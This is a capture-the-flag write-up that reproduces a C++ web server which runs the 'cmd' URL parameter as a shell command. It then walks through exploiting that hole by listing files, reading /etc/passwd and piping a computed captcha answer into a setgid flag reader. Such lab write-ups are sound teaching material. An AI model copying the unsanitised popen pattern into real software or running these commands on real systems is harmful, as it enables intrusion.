Visit the link, we get the web server’s c++ code.
#include "crow_all.h"
#include <cstdio>
#include <iostream>
#include <memory>
#include <stdexcept>
#include <string>
#include <array>
#include <sstream>
std::string exec(const char* cmd) {
std::array<char, 128> buffer;
std::string result;
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
if (!pipe) {
return std::string("Error");
}
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
result += buffer.data();
}
return result;
}
int main() {
crow::SimpleApp app;
app.loglevel(crow::LogLevel::Warning);
CROW_ROUTE(app, "/")
([](const crow::request& req) {
std::ostringstream os;
if(req.url_params.get("cmd") != nullptr){
os << exec(req.url_params.get("cmd"));
} else {
os << exec("cat ./source.html");
}
return crow::response{os.str()};
});
app.port(1224).multithreaded().run();
}
So we can use query string cmd
to run the shell command we want to run, and we get the standard output back.
Some tips:
- URL encode the command before you put it in the
cmd
query string, to make sure the server is running the command we want it to run. - pipe only receives from STDOUT. So to be able to see the error messages (if any) of our command, we can append 2>&1 in our command to redirect the STDERR to STDOUT.
By running ls -al
we see
total 44
drwxr-xr-x 1 root root 4096 Dec 24 11:56 .
drwxr-xr-x 1 root root 4096 Dec 24 11:56 ..
----r----- 1 root gotshell 38 Dec 24 08:32 flag
------s--x 1 root gotshell 17576 Dec 5 17:26 flag_reader
-rw-rw-r-- 1 root root 10459 Dec 24 08:32 source.html
It’s clear that we, nobody(run whoami
and cat /etc/passwd
) need to execute the flag_reader in some way to get the flag. Because flag_reader has the setgid bit set, and flag is readable by the same group gotshell.
By running ./flag_reader
we get a captcha question
Got shell?
1890601277 + 1685840463 = Incorrect captcha :(
This shell privilege escape together with a captcha question reminds me of a CTF challenge I saw before. After some digging it’s clear that it’s minbashmaxfun from 34c3ctf. So I read some writeups of the challenge.
So the basic idea is to pipe the output of the flag_reader to another program, which calculate the captcha equation, and the calculated result is piped back to the STDIN of the flag_reader itself.
From the writeup I learnt that by reading and writing the same file we can accomplish this goal.
So I constructed the command
expr $(grep -o '.*+ [0-9]*' /tmp/random_name) | ./flag_reader > /tmp/random_name; cat /tmp/random_name
grep -o '.*+ [0-9]*'
outputs only the string that satisfies the regular expression, which is the captcha equation. expr
calculates the equation, and sends it to the flag_reader.
So we get the flag AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}
.